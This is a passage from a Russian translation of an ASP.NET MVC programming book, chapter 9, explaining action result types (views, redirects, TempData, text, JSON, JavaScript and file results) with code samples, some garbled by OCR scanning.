Тестируемость является основным преимуществом применения результатов действий. Другим преимуществом считается аккуратность и простота их использования. Дело не только в наличии компактного API-интерфейса для генерации типичных объектов ActionResult (т.е. визуализации представления), но еще и в возможности создания специальных подклассов ActionResult для упрощения многократного использования (и тестирования) новых шаблонов ответа во всем приложении.
На заметку! В контексте шаблонов проектирования это относится к шаблону Command (команда).
В табл. 9.2 перечислены встроенные типы результатов действий. Все они являются подклассами ActionResult.
Далее будет показано, как использовать каждый тип результата, а также предложен пример создания собственного специального типа ActionResult.
4 Разумеется, отобразить HTML-разметку, выполнить перенаправление HTTP и передать двоичный файл в одном и том же ответе HTTP нельзя. Эти операции можно производить только по одной на ответ, что является еще одной причиной, почему семантически чище вернуть ActionResult, чем выполнять последовательности операций непосредственно с Response.
264 Часть II. ASP.NET MVC во всех деталях
Таблица 9.2. Встроенные типы ActionResult в ASP.NET MVC
Тип результирующего объекта	Назначение	Пример использования
ViewResult	Визуализирует назначенный или установленный по умолчанию шаблон представления.	return View(); return View("MyView", modelobject);
PartialViewResult	Визуализирует назначенный или установленный по умолчанию шаблон частичного представления.	return Partialview(); return Partialview( "MyPartial", modelobject);
RedirectToRouteResult	Издает перенаправление HTTP 302 на метод действия или определенный элемент маршрута, генерируя URL согласно активной конфигурации маршрутизации.	Return RedirectloAction( "SomeOtherAction", "SomeController"); return RedirectToRoute( "MyNamedRoute");
RedirectResult	Издает перенаправление HTTP 302 на произвольный URL.	return Redirect( "http://www.example.com");
ContentResult	Возвращает неформатированные текстовые данные в браузер, дополнительно устанавливая заголовок content-type.	return Content(rssString, "application/rss+xml");
FileResult	Передает двоичные данные (такие как файл с диска или байтовый массив из памяти) непосредственно в браузер.	return File( @"c:\report.pdf", "application/pdf");
JsonResult	Сериализует объект .NET в формате JSON и отправляет его как ответ.	return Json(someObject);
JavaScriptResult	Отправляет фрагмент исходного кода JavaScript, который должен быть выполнен браузером. Это предназначено только для сценариев Ajax.	return JavaScript( "$(#myelement).hide();");
HttpUnauthorizedResult	Устанавливает код состояния HTTP-ответа в 401 (означает “не авторизовано”), что заставляет активный механизм аутентификации (Forms Authentication или Windows Authentication) предложить посетителю войти в систему.	return new HttpUnauthorizedResult();
EmptyResult	Ничего не делает.	return new EmptyResult();
Возврат HTML-разметки с помощью визуализации представления
Большинство методов действий предназначено для возврата браузеру некоторой HTML-разметки. Для этого визуализируется шаблон представления, что означает возврат результата действия типа ViewResult, например:
Глава 9. Контроллеры и действия 265
public class AdminController : Controller {
public ViewResult Index() {
return View("Homepage");
// Этот оператор равнозначен следующему:
// return new ViewResult { ViewName = "Homepage" }; }
}
На заметку! В частности, в приведенном выше методе действия объявлено, что он возвращает экземпляр ViewResult. Метод бы работал точно так же, если бы вместо этого возвращал тип ActionResult (базовый класс для всех результатов действий). Действительно, некоторые разработчики веб-приложений ASP.NET MVC объявляют все свои методы действий как возвращающие неспецифический ActionResult, даже если точно знают, что методы всегда будут возвращать определенный его подкласс. Однако необходимость возврата методами наиболее специфичного типа из числа возможных (равно как выбор наиболее общих типов для параметров) — это устоявшийся принцип объектно-ориентированного программирования. Следуя этому принципу, можно достичь максимального удобства и гибкости кода, который будет вызывать метод (например, код модульных тестов).
Вызов метода View () привод к генерации объекта ViewResult. Во время выполнения ViewResult встроенный механизм представлений MVC — WebFormViewEngine — по умолчанию будет искать шаблон представления в следующих местах (в указанном порядке):
1.	/Views/ControllerName/ViewName.aspx
2.	/Views/ControllerName/ViewName.asex
3.	/Views/Shared/ViewName.aspx
4.	/Views/Shared/ViewName.asex
На заметку! Дополнительные сведения касательно реализации этого соглашения об именовании и его настройки ищите в разделе “Реализация специального механизма представлений” главы 10.
Итак, в этом примере вначале просматривается /Views/Admin/Homepage . aspx (обратите внимание, что, согласно соглашению об именах контроллеров, суффикс Controller из имени класса контроллера исключен). Сделав еще один шаг в сторону подхода “преимущество соглашения над конфигурацией”, можно вообще опустить имя представления, например:
public class AdminController : Controller {
public ViewResult Index() (
return View();
// Этот оператор равнозначен следующему:
// return new ViewResult();
}
}
В таком случае будет использоваться имя текущего метода действия (оно определено в RouteData. Values ["action"]), поэтому в данном примере первое место, где производится поиск шаблона представления — это /Views/Admin/Index. aspx.
266 Часть II. ASP.NET MVC во всех деталях
Доступно еще несколько других переопределений метода контроллера View (); все они соответствуют установкам различных свойств результирующего объекта ViewResult. Например, можно указать явное имя мастер-страницы или явный экземпляр IView (это обсуждается в следующей главе).
Визуализация представления по заданному пути
Выше было показано, как визуализировать представление в соответствии с соглашениями об именовании и структуре папок ASP.NET MVC. Однако эти соглашения можно обойти и явно указать путь к определенному шаблону предст авления, например:
public class AdminController : Controller
{
public ViewResult Index()
{
return View("~/path/to/some/view.aspx") ;
}
)
Обратите внимание, что полные пути должны начинаться с / или ~/ и включать расширение имени файла (обычно . азрх). Если только не зарегистрирован специальный механизм представлений, файл, на который производится ссылка, должен быть страницей представления ASPX.
Передача словаря ViewData и объекта модели
Как вам известно, контроллеры и представления — это совершенно разные, независимые вещи. В отличие от традиционной платформы ASP.NET WebForms, где логика отделенного кода глубоко переплетена с разметкой ASPX, в MVC стимулируется разделение прикладной и презентационной логики. Контроллеры поставляют данные своим представлениям, но представления напрямую не обращают ся к контроллерам. Такое разделение ответственности является ключевым фактором аккуратности, простоты и тестируемости MVC.
Механизм передачи данных от контроллера к представлению—это ViewData. Базовый класс Controller имеет свойство по имени ViewData типа ViewDataDictionary. Использование свойства ViewDataDictionary уже демонстрировалось во многих предыдущих примерах, но пока не было четко показаны различные способы подготовки структуры ViewData и ее получения из контроллера. Давайте рассмотрим доступные возможности.
Интерпретация ViewData как слабо типизированного словаря
Первый способ работы с ViewData предусматривает использование семантики словаря (те. пар “ключ/значение”). Например, заполните структуру ViewData следующим образом:
public class Person
{
public string Name { get; set; }
public int Age { get; set; }
}
public ViewResult ShowPersonDetails ()
{
Person someguy = new Person { Name = "Steve", Age = 108 };
ViewData["person"] = someguy;
ViewData["message"] = "Hello";
return View(); // ...или указать имя представления,
// например: return View("SomeNamedView");
Глава 9. Контроллеры и действия 267
Сначала коллекция ViewData контроллера заполняется парами “имя/значение”, после чего визуализируется представление. Затем коллекция ViewData передается шаблону представления, в котором к ее значениям можно обращаться следующим образом:
<%= ViewData["message"] %>, world!
The person's name is <%= ((Person)ViewData["person"]).Name %>
The person's age is <%= ((Person) ViewData["person"]) .Age %>
Семантика словаря является очень гибкой и удобной, так как она позволяет отправлять любую коллекцию объектов и затем извлекать их по имени. Заранее объявлять эти объекты не понадобится; это того же рода удобство, которое обеспечивают слабо типизированные языки программирования.
Недостаток использования ViewData в качестве слабо типизированного словаря состоит в том, что при написании шаблона представления отсутствует поддержка со стороны IntelliSense относительно выбора значений из коллекции. Необходимо точно знать ключи (в рассматриваемом примере это person и message) и применять явные ручные приведения типов, если они не относятся к простейшим типам вроде string. Разумеется, здесь не поможет ни среда Visual Studio, ни компилятор, поскольку формальная спецификация того, какие элементы должны быть в словаре, отсутствует (это определяется только во время выполнения).
Передача строго типизированного объекта в ViewData.Model
В классе ViewDataDictionary определено специальное свойство по имени Model. Этому свойству можно присвоить любой объект .NET, добавив в метод действия оператор ViewData. Model = myObj ect; или передав myObj ect в качестве параметра методу View (). Ниже показан пример.
public ViewResult ShowPersonDetails ()
(
Person someguy = new Person ( Name = "Steve", Age = 1C8 };
return View(someguy) ; // Неявно присвоить 'someguy' свойству ViewData.Model
// ...или указать имя представления, например:
// return View(someguy,"SomeNamedView");
}
Теперь к свойству ViewData .Model можно обращаться в шаблоне представления:
The person’s name is <%= ((Person)Model).Name %>
The person's age is <%= ( (Person) Model) .Age %>
На заметку! В шаблоне представления в качестве сокращенного способа ссылки на ViewData.
Model можно использовать Model. Однако в методе действия должна указываться полная ссылка: ViewData-Model.
Но такой способ вряд ли можно считать усовершенствованием. Мы приносим в жертву гибкость передачи множества объектов в словаре, и все равно должны выполнять неуклюжие приведения типов. Реальное преимущество проявляется тогда, когда используется страница строго типизированного представления.
О значении и технической реализации строго типизированных представлений пойдет речь в следующей главе, а пока что предлагается только краткий обзор. После создания нового шаблона представления (с помощью щелчка правой кнопкой мыши внутри метода действия и выбора в контекстном меню пункта Add View (Добавить представление)) появляется возможность создать строго типизированное представление, указав тип объекта модели, который нужно визуализировать. Выбранный тип определяет тип свойства Model представления. Если указан тип Person, неуклюжие приведения типа Model больше не понадобятся, к тому же начнет действовать средство IntelliSense (рис. 9.2).
268 Часть II. ASP.NET MVC во всех деталях
.УЗ, г г с/	xr-£ir.L” >
,c$j>
The person’s r.arxe xs <%= "ie5f2ara.HodeL.3axe %>
The person’s age is <%= Vie5f2-ara.Hodel.| %>
iint Perse n.Age;
ч? Equals К
GetbteshCcde v GetType JT Name
.* ToString
Рис. 9.2. Данные строго типизированного представления позволяют пользоваться средством IntelliSense при редактировании шаблона представления
Программисты C# несомненно оценят преимущества строгой типизации. Однако с ней связан и недостаток: возможность передачи в ViewData.Mode I. только одного объекта, что неудобно, когда необходимо отобразить несколько сообщений состояния или других значений вместе с объектом Person. Для передачи множества строго типизированных объектов придется создать класс-оболочку, пример которого показан ниже:
public class ShowPersonViewData {
public Person Person { get; set; )
public string StatusMessage ( get; set; }
public int CurrentPageNumber { get; set; }
}
После этого ShowPersonViewData следует установить в качестве типа модели для строго типизированного представления. Это неплохая стратегия, но, в конце концов, необходимость постоянно писать эти классы-оболочки, надоест.
Комбинация обоих подходов
Замечательная особенность ViewDataDictionary состоит в том, что он позволяет одновременно использовать оба приема — со слабой и со строгой типизацией. Это исключает необходимость в написании класса-оболочки. Один первичный строго типизированный объект можно присвоить свойству Model, после чего добавить произвольный словарь других значений, например:
public ViewResult ShowPersonDetails() (
Person someguy = new Person { Name = "Steve”, Age = 108 };
ViewData["message"] = "Hello";
ViewData["currentPageNumber"] = 6;
return View (someguy) ; / / Явно присвоишь someguy свойству ViewData. Model
// ...или специфицируйте имя представления,
// например return View(someguy,"SomeNamedView");
}
Теперь в шаблоне представления можно обращаться к ним следующим образом:
<%= ViewData["message"] %>, world!
The person's name is <%= Model.Name %>
The person's age is <%= Model.Age %>
You're on page <%= ViewData["currentPageNumber"] %>
В данном случае достигнут баланс между надежностью строгой типизации и гибкостью слабой типизации.
Глава 9. Контроллеры и действия 269
Это далеко не все, что следует знать о ViewDataDictionary. В частности, в нем предусмотрен специфический синтаксис нахождения и форматирования элементов словаря без необходимости приведения типов. Но это в большей степени касается представлений, чем контроллеров, поэтому оставим рассмотрение вопросов подобного рода до следующей главы.
Выполнение перенаправлений
Часто определенный метод действия вместо возврата HTML-разметки должен передать управление какому-то другому методу действий.
Рассмотрим следующий пример: после того, как некоторый метод действия SaveRecord () сохранил данные в базе, необходимо отобразить экранную сетку со всеми записями (для чего предусмотрен другой метод действия по имени Index ()). На выбор доступны три варианта.
•	Визуализировать сетку как непосредственный результат вызова метода действия SaveRecord (), дублируя код, который уже имеется в Index (). Понятно, что это не самый изящный способ.
•	Вызвать метод Index () непосредственно в SaveRecord (): public ViewResult SaveRecord(int id, string newName) {
// Получить модель предметной области для сохранения данных DomainModel.SaveUpdatedRecord(id, newName);
// Визуализировать сетку со всеми элементами return Index();
}
Несмотря на то что дублирование кода сокращается, нарушается работа несколько других вещей. Например, если Index () попытается визуализировать свое представление по умолчанию, то он на самом деле визуализирует представление по умолчанию для действия SaveRecord, потому что RouteData .Values ["action"] все еще равно SaveRecord.
• В методе SaveRecord () выполнить перенаправление к действию Index (): public RedirectToRouteResult SaveRecord(int id, string newName) (
// Получить модель предметной области для сохранения данных DomainModel.SaveUpdatedRecord(id, newName);
// Визуализировать сетку со всеми элементами return RedirectToAction("Index");
}
Это вызовет перенаправление HTTP 302 к действию Index (). Браузер выполнит совершенно новый запрос GET5 к /ControllerName/Index, изменяя URL, отображаемый в его строке адреса.
5 Строго говоря, в спецификации протокола HTTP указано, что для выполнения переадресации HTTP 302 браузеры должны использовать тот же самый метод HTTP. Поэтому если SaveRecord выполнял запрос POST, браузер должен также применять POST для запроса index. Предусмотрен специальный код состояния (303), который означает перенаправление с использованием GET. Однако во всех современных браузерах этим положением спецификации пренебрегают, используя GET после любого перенаправления 302. Это делается ради удобства, поскольку издать HTTP 303 не так-то просто.
270 Часть II. ASP.NET MVC во всех деталях
В двух первых случаях пользовательский браузер рассматривает весь процесс как единый запрос HTTP, и в его строке адреса остается /ИмяКонтроллера/SaveRecord. Пользователь может попробовать разместить закладку на этой странице, но это вызовет ошибку при последующем обращении к ней (этот URL действителен только при отправке формы). Вдобавок пользователь может нажать <F5> для обновления страницы, что приведет к повторной отправке запроса POST и дублированию предыдущего действия. Вряд ли такое поведение можно считать приемлемым.
Именно поэтому третий вариант является наиболее предпочтительным. Вновь запрошенная страница (на /ControllerName/Index) будет вести себя нормально при размещении закладок и обновлении, и обновленное значение в строке адреса имеет гораздо больше смысла.
На заметку! Некоторые разработчики относят такой подход к перенаправлению после обработки запроса POST к шаблону проектирования Post/Redirect/Get (запрос POST/перенаправление/ запрос GET).
Перенаправление к другому методу действия
Как было только что показано, перенаправление к другому методу действия выполняется просто:
return RedirectToAction("SomeAction");
При этом возвращается объект RedirectToRouteResult, который внутри использует средства генерации исходящих URL системы маршрутизации для определения целевого URL согласно активной конфигурации маршрутизации.
Если контроллер не указан (как в последнем случае), это понимается как “на том же контроллере”. Имя контроллера можно специфицировать явно, а при желании допускается также указать другие параметры маршрутизации, которые повлияют на генерацию URL:
return RedirectToAction("Index", "Products", new { color = "Red", page =2 } );
Как всегда, согласно соглашений об именовании MVC Framework, необходимо просто использовать маршрутное имя контроллера (например, Products), а не имя класса (т.е. ProductsController).
И, наконец, к именованным элементам RouteTable .Route необходимо обращаться по имени:
return RedirectToRoute("MyNamedRoute", new { customParam = "SomeValue" });
Генерирующие URL методы перенаправления, их многочисленные перегрузки, и то, как они в действительности генерируют URL согласно активной конфигурации маршрутизации, детально рассматривались в главе 8.
Перенаправление к другому URL
Для перенаправления посетителя к URL, выраженному литералом (не используя генерацию исходящих URL) верните объект RedirectResult следующим вызовом Redirect():
return Redirect("http://www.example.com");
Можно также указывать виртуальные пути относительно приложения:
return Redirect("~/Some/Url/In/My/Application");
Глава 9. Контроллеры и действия 271
На заметку! Как RedirectToRouteResult, так и RedirectResult издают перенаправление HTTP 302, означающее временное перемещение, подобно методу Response. Redirect () из ASP.NET WebForms. Отличие между ним и HTTP 301 (перемещено постоянно) обсуждалось в предыдущей главе. Если вы озабочены поисковой оптимизацией (SEO), удостоверьтесь, что используется корректный тип перенаправления.
Использование коллекции TempData для сохранения данных между перенаправлениями
Перенаправление заставляет браузер отправлять совершенно новый запрос HTTP. Поэтому в новом запросе уже нет того же набора значений контекста запроса, как и доступа к любым временным объектам, которые были созданы перед перенаправлением. Что если понадобится сохранить какие-то данные между перенаправлениями? В этом случае следует обратиться к коллекции TempData.
TempData — это новая концепция, представленная в ASP.NET MVC6. Чего-либо подобного в ASP.NET WebForms нет. Она хранит произвольные объекты .NET для текущего и следующего запросов HTTP, выполняемых данным посетителем. Это решение идеально для кратковременного хранения данных во время перенаправления.
Давайте вернемся к предыдущему примеру с SaveRecord и Index. После сохранения записи пользователь должен быть уведомлен о том, что его изменения были приняты и сохранены. Но как метод Index () узнает о том, что произошло в предыдущем запросе? Для этого необходимо воспользоваться TempData:
public RedirectToRouteResult SaveRecord(int id, string newName)
(
// Сохранить данные в модели предметной области
DomainModel.SaveUpdatedRecord(id, newName);
// Перейти к сетке всех элементов, поместив сообщение о состоянии в TempData TempData["message"] = "Your changes to " + newName + " have been saved";
return RedirectToAction("Index");
}
Во время следующего запроса сохраненное в TempData значение можно визуализировать в представлении действия Index:
<% if(TempData["message"] 1= null) { %>
<div class="StatusMessage"><%= Html.Encode(TempData("message"]) %></div>
До появления TempData традиционным способом добиться того же результата была передача сообщения о состоянии как значения строки запроса при выполнении перенаправления. Однако TempData намного лучше: она не порождает длинный неуклюжий URL и позволяет хранить произвольные объекты .NET (а не только строки), поскольку всегда остается в памяти сервера.
Сравнение хранилищ TempData и Session
На самом деле по умолчанию в основе хранилища TempData лежит хранилище Session (поэтому, если планируется использовать TempData, не следует отключать хранилище Session), но TempData обладает другими характеристиками. Его уникальная особенность состоит в том, что оно является очень кратковременной памятью. Каждый элемент хранится только для одного будущего запроса, после чего отбрасывается. Это отлично подходит для хранения объектов при вызове RedirectToAction (), так как потом производится автоматическая очистка.
6 TempData является логическим эквивалентом : flash в Ruby on Rails и коллекции Flash [ ] в MonoRail.
272 Часть II. ASP.NET MVC во всех деталях
Если вы попытаетесь добиться того же поведения, сохраняя сообщения о состоянии в хранилище Session, вам придется очищать их вручную. В противном случае, когда пользователь вернется к действию Index позднее, весьма некстати появится старое сообщение о состоянии.
При необходимости хранить содержимое TempData где-то вне Session, создайте класс поставщика, который реализует интерфейс ITempDataProvider, и затем в конструкторе контроллера присвойте экземпляр поставщика свойству TempDataProvider контроллера. Сборка MVC Features содержит готовый альтернативный поставщик CookieTempDataProvider, который сериализует содержимое TempData в cookie-набор браузера.
Возврат текстовых данных
Помимо HTML, существует множество других основанных на тексте форматов данных, которые может понадобиться генерировать приложению. К распространенным примерам относятся:
•	XML
•	RSS и АТОМ (подмножества XML)
•	JSON (предназначен обычно для приложений Ajax)
•	CSV (предназначен обычно для экспорта табличных данных в Excel)
•	Простой текст
В ASP.NET MVC имеется специальная встроенная поддержка генерации данных JSON (которая будет описана ниже), а для всех прочих можно использовать тип возврата действия ContentResult. Чтобы успешно вернуть любой формат данных на основе текста, потребуется указать три вещи.
•	Сами данные в виде string.
•	Заголовок content-type для отправки, например, text/xml для XML, text/csv для CSV и application/rss+xml для RSS. Их можно получить из значений класса System.Net.Mime.MediaTypeNames. С помощью такого заголовка браузер решает, что делать с ответом.
•	Используемая кодировка текста (необязательно). Она описывает, как преобразовать экземпляр .NET string в последовательность байтов, которые могут быть переданы по сети. К примерам кодировок относятся UTF-8 (весьма распространена в Интернете), ASCII и ISO-8869-1. Если значение не указано, будет предпринята попытка выбрать кодировку, поддержку которой требует браузер.
Все это можно специфицировать с помощью объекта ContentResult. Чтобы создать его, просто вызовите метод Content (), например:
public ActionResult GiveMePlainText() {
return Content("This is plain text", "text/plain");
// Или замените "text/plain" на MediaTypeNames.Text.Plain
}
Если вы возвращаете текст и не заботитесь о заголовке content-type, можете использовать сокращенный вариант, возвращая string непосредственно из метода действия. Каркас преобразует строку в ContentResult:
public string GiveMePlainText () {
return "Простой текст";
}
Глава 9. Контроллеры и действия 273
Фактически, если метод действия возвращает объект любого типа, не унаследованного от ActionResult, то MVC Framework преобразует возвращаемое значение метода действия в строку (используя Convert. ToString (возвращаемоеЗначение, Cultureinfo. Invariantculture)) и сконструирует ContentResult, используя это значение. Это может пригодиться, например, в некоторых сценариях Ajax, если просто нужно вернуть Guid или другой маркер браузеру. Обратите внимание, что параметр contentType не указан, поэтому используется его значение по умолчанию (text/html).
Совет. Это поведение преобразования результирующих объектов в строки можно изменить. Пусть, например, необходимо, чтобы методы действий имели возможность возвращать произвольные сущности предметной области, упакованные и доставляемые браузеру в определенном виде (возможно, в зависимости от входящего HTTP-заголовка Accept). Это может стать базой для каркаса приложений REST Создайте специальный класс инициатора действия, унаследовав его от ControllerActionlnvoker и переопределив его метод CreateActionResult (). Затем присвойте свойству Actioninvoker контроллера экземпляр этого специального инициатора действия.
Построение RSS-канала
Б качестве примера использования ContentResult посмотрите, насколько легко можно создать канал RSS 2.0. Для начала сформируем документ XML, используя для этого элегантный API-интерфейс .NET 3.5 XDocument, и отправим результирующий документ браузеру с помощью метода Content (). как показано ниже:
public ContentResult RSSFeedO
{
Story [] stories = GetAllStories О ; // Получить из базы данных или откуда-то еше
// Построение документа RSS-канала
string encoding = Response.ContentEncoding.WebName;
XDocument rss = new XDocument(new XDeclaration("1.0", encoding, "yes"), new XElement("rss", new XAttrlbute("version", "2.0"),
new XElement("channel", new XElement("title", "Example RSS 2.0 feed"), from story in stories
select new XElement("item",
new XElement("title", story.Title),
new XElement("description", story.Description), new XElement("link", story.Url)
)
)
)
) ;
return Content(rss.ToString(), "application/rss+xml");
}
Большинство современных веб-браузеров распознают тип содержимого арр lication/ rss+xml и отображают подписку в хорошо оформленном читабельном для человека формате либо предлагают добавить ее в средство чтения RSS-каналов как новую подписку.
Возврат данных JSON
JSON (JavaScript Object Notation — объектная нотация JavaScript) — зто текстовый формат данных общего назначения, описывающий произвольные иерархические структуры. Если выражаться точнее, то зто практически код JavaScript, потому он естественным образом поддерживается почти любым веб-браузером (причем намного легче, чем XML).
274 Часть II. ASP.NET MVC во всех деталях
За дополнительными подробностями обращайтесь по адресу http: //www. j son. org/ j son-ru.html.
Чаще всего формат JSON используется в приложениях Ajax для отправки объектов (включая коллекции и полные графы объектов) из сервера в браузер. В ASP.NET MVC имеется встроенный класс JsonResult, который заботится о сериализации объектов .NET в виде JSON. Сгенерировать JsonResult можно с помощью вызова метода Json ():
class CityData { public string city; public int temperature; }
public ActionResult WeatherData0
{
var citiesArray = new[] {
new CityData { city = "London", temperature = 68 }, new CityData { city = "Hong Kong", temperature = 84 } 1;
return Json(citiesArray);
)
Массив citiesArray передается в формате JSON:
[{"city":"London","temperature":68},{"city":"Hong Kong","temperature":84}]
Кроме того, заголовок ответа content-type будет установлен в application/json.
Не беспокойтесь, если пока не понимаете, как используется JSON. Исчерпывающие объяснения будут представлены в главе 12 вместе с демонстрацией его использования с Ajax.
Возврат команд JavaScript
С помощью методов действий запросы Ajax могут обрабатываться так же легко, как и обычные запросы. Как было показано ранее, с использованием JsonResult метод действия может возвращать произвольную структуру данных JSON, с которой код клиентской стороны может проводить какие угодно манипуляции.
Однако иногда требуется ответить на вызов Ajax непосредственно, поручив браузеру выполнение определенного оператора JavaScript. Это делается с помощью метода JavaScript (), который возвращает результат типа JavaScriptResult, например:
public JavaScriptResult SayHelloO
{
return JavaScript("alert('Hello, world!');");
)
Для того чтобы метод SayHello () заработал, необходимо сослаться на него с использованием вспомогательного метода Aj ах. ActionLink () вместо Html. ActionLink (). Например, добавьте в представление следующий код:
<%= Ajax.ActionLink("Click me", "SayHello", null) %>
Aj ax. ActionLink () похож на Html. ActionLink () тем, что визуализирует ссылку на действие SayHello. Отличие Ajax. ActionLink () состоит в том, что вместо запуска обновления всей страницы осуществляется асинхронный запрос (также называемый Ajax-запросом). После щелчка пользователем на конкретной ссылке Ajax соответствующий оператор JavaScript извлекается из сервера и немедленно выполняется, как показано на рис. 9.3.
Скорее всего, вы будете использовать объект JavaScriptResult не для отображения дружественных сообщений, а для обновления DOM-модели отображаемой HTML-страницы.
Глава 9. Контроллеры и действия 275
Рис. 9.3. Отправка команды JavaScript из сервера в браузер
Например, после вызова метода действия, удаляющего запись из базы данных, возникает необходимость удалить соответствующий элемент DOM из списка в браузере. Более полное описание вспомогательных методов Ajax.* будет дано в главе 12.
На заметку! Формально объект JavaScriptResult — это тот же самый объект ContentResult, за исключением того, что JavaScriptResult жестко закодирован для установки заголовка content-type в application/x- javascript. Встроенный bASP.NET MVC вспомогательный сценарий Ajax под названием MicrosoftMvcAjах. js специально проверяет значение заголовка content-type, и когда находит его, то знает, что ответ нужно трактовать как исполняемый код JavaScript, а не текст.
Возврат файлов и двоичных данных
Как быть, если необходимо отправить файл в браузер? При этом может потребоваться, чтобы для, скажем, ZIP-файла браузер открыл диалоговое окно загрузки с возможностями сохранения и открытия файла, а для файла с графическим изображением показал его содержимое непосредственно в своем окне (как это делалось в конце главы 6).
FilterResult — это абстрактный базовый класс для всех результатов действий, связанных с отправкой двоичных данных в браузер. ASP.NET MVC поставляется с тремя конкретными подклассами, готовыми к использованию:
•	FilePathResult — отправляет файл непосредственно из файловой системы сервера;
•	FileContentResult — отправляет содержимое байтового массива (byte []) из памяти;
•	FileStreamResult — отправляет содержимое объекта System. IO. Stream, который должен быть уже открыт.
Как правило, заботиться о том. каким подклассом FileResult воспользоваться, не нужно, поскольку экземпляры всех трех можно создать вызовом различных перегрузок метода File (). Ниже приведены примеры применения каждой из них.
Отправка файлов непосредственно с диска
С помощью одной из перегрузок метода File () можно отправить файл непосредственно с диска:
public FilePathResult DownloadReport()
{
string filename = @"c:\files\somefile.pdf";
return File(filename, "application/pdf", "AnnualReport.pdf");
276 Часть II. ASP.NET MVC во всех деталях
Приведенный вызов File () заставляет браузер открыть диалоговое окно загрузки с возможностями сохранения и открытия файла, показанное на рис. 9.4.
Рис. 9.4. Диалоговое окно загрузки с возможностями сохранения и открытия файла
Эта перегрузка File () принимает параметры, перечисленные в табл. 9.3.
Таблица 9.3. Параметры, передаваемые File () для отправки файла непосредственно с диска
Параметр	Тип	Назначение
filename (обязательный)	string	Путь к передаваемому файлу (в файловой системе сервера).
contentType (обязательный)	string	Тип MIME для использования в заголовке content-type ответа. На основе этой информации о типе MIME браузер принимает решение об обработке файла. Например, если указан тип application/vnd.ms-excel, то браузер должен будет открыть файл в Microsoft Excel. Аналогичным образом ответы application/pdf должны открываться в выбранном пользователем средстве просмотра PDF-документов*.
fileDownloadName (необязательный)	string	Значение заголовка content-disposition для отправки с ответом. Когда этот параметр указан, браузер должен всегда открывать диалоговое окно загрузки с возможностями сохранения и открытия для загружаемого файла. Браузер должен трактовать это значение как имя загружаемого файла, независимо от URL, с которого этот файл был загружен.
* Расширенный список стандартных типов MIME доступен по адресу www. iana. org/assignments/media-types/.
Если параметр fileDownloadName опущен, и браузеру известно, как отображать определенный тип MIME (например, все браузеры умеют отображать файлы image/gif), то браузер просто отобразит этот файл самостоятельно.
Если параметр fileDownloadName опущен, но браузер не знает, как отображать указанный тип MIME (например, когда задано application/vnd.ms-excel), то браузер должен вывести диалоговое окно загрузки с возможностями сохранения и открытия файла, определив имя файла на основе текущего URL (в Internet Explorer — на основе указанного типа MIME). Однако предложенное имя файла почти наверняка не будет осмысленным для пользователя, поскольку оно может иметь расширение, не соответствующее его типу, такое как .mvc, или вообще не иметь расширения. Поэтому не забывайте о параметре f ileDownloadName, когда ожидаете появления в браузере диалогового окна загрузки с возможностями сохранения и открытия файла.
Глава 9. Контроллеры и действия 277
Внимание! В случае указания f ileDownloadName, не согласующегося с contentType (например, в качестве имени файла задано AnnualReport.pdf, а в качестве типа MIME — application/ vnd.ms-excel), результат будет непредсказуемым. Браузер Firefox 3 попытается открыть файл в Excel, в то время как Internet Explorer 7 — в средстве просмотра PDF-документов. Если вы не знаете, какой тип MIME соответствует отправляемому файлу, можете указать для типа application/octet-stream. Это означает “двоичный файл неопределенного типа”. В этом случае браузеру будет принимать собственное решение о том, как обрабатывать этот файл, обычно на основе его расширения.
Отправка содержимого байтового массива
Если двоичные данные располагаются в памяти, их можно передать с использованием другой перегрузки File ():
public FileContentResult DownloadReport()
{
byte[] data = ... // Сгенерировать или каким-то образом
// получить содержимое файла
return File(data, "application/pdf", "AnnualReport.pdf");
I
Такой подход применялся в конце главы 6 при отправке графического изображения, извлеченного из базы данных.
В этой перегрузке File () параметр contentType также является обязательными, а f ileDownloadName — необязательным. Оба параметра трактуются в точности так, как было описано выше.
Отправка содержимого потока
И, наконец, если данные, которые необходимо отправить, поступают из открытого потока System. IO. Stream, читать его целиком в память перед отправкой клиенту в виде байтового массива не понадобится. Вместо этого можно указать File () передавать данные потока по мере доступности каждого фрагмента данных:
public FileStreamResult ProxyExampleDotCom()
{
WebClient wc = new WebClientO;
Stream stream - wc.OpenRead("http://www.example.com/");
return File(stream, "text/html");
}
И в этой перегрузке File О параметр contentType является обязательными, а f ileDownloadName — необязательным. Оба параметра трактуются в точности так, как было описано выше.
Создание специального типа результата действия
Встроенных типов результатов действий достаточно для большинства случаев, с которыми вы столкнетесь. Тем не менее, очень легко создать собственный тип результата, наследуя его от одного из встроенных типов или даже непосредственно от ActionResult. Единственный метод, который потребуется переопределить — это ExecuteResult (). Не забудьте предоставить достаточное количество общедоступных свойств для модульных тестов, чтобы можно было проверить объект результата действия и понять, что в нем происходит. Далее будет представлен соответствующий пример.
278 Часть II. ASP.NET MVC во всех деталях
Пример: изображение с водяными знаками (и концепция швов тестируемости)
Предположим, что создается веб-сайт для хранения фотографий. Его функциональность предусматривает обработку файлов изображений, в частности, наложение текста на изображения. Такой текст, имеющий вид водяных знаков, может генерироваться динамически, иногда указывая имя фотографа, а иногда — цену изображения либо информацию, касающуюся лицензирования.
Каким образом проверить, что каждый такой метод действия накладывает на изображение корректный текст? Должны ли быть построены модульные тесты, которые вызывают метод действия, получают данные изображения и затем с помощью какой-нибудь библиотеки оптического распознавания символов определяют, какой текст был наложен на изображение? Возможно, процесс реализации и будет интересным, но, откровенно говоря, заниматься этим не стоит.
Способ решения данной задачи заключается во введении шва тестируемости (testability seam): промежутка между прикладным кодом, который решает, какой текст накладывать, и остальной частью кода, которая действительно визуализирует выбранный текст на изображении. В этот промежуток могут быть помещены модульные тесты, которые будут проверять только ту часть кода, в которой принимается решение относительно накладываемого текста, и игнорировать нетестируемую часть кода, визуализирующую этот текст на изображении.
Замечательным способом реализации такого шва тестируемости является специальный результат действия, который позволяет методу действия указать, что нужно делать, не выполняя это фактически. Специальный результат действия также облегчает повторное использование функциональности водяных знаков во множестве методов действий.
Давайте теперь рассмотрим собственно код. Приведенный ниже специальный результат действия накладывает текст водяных знаков на изображение, после чего передает изображение в формате PNG (независимо от исходного формата):
public class WatermarkedlmageResult : ActionResult
{
public string ImageFileName { get; private set; } public string WatermarkText { get; private set; } public WatermarkedlmageResult(string imageFileName, string watermarkText) {
ImageFileName = imageFileName;
WatermarkText = watermarkText;
}
public override void ExecuteResult(Controllercontext context) {
using(var image = Image.FromFile(ImageFileName))
using(var graphics = Graphics.Fromlmage(image))
usingfvar font = new Font("Arial", 10)) using(var memorystream = new Memorystream()) {
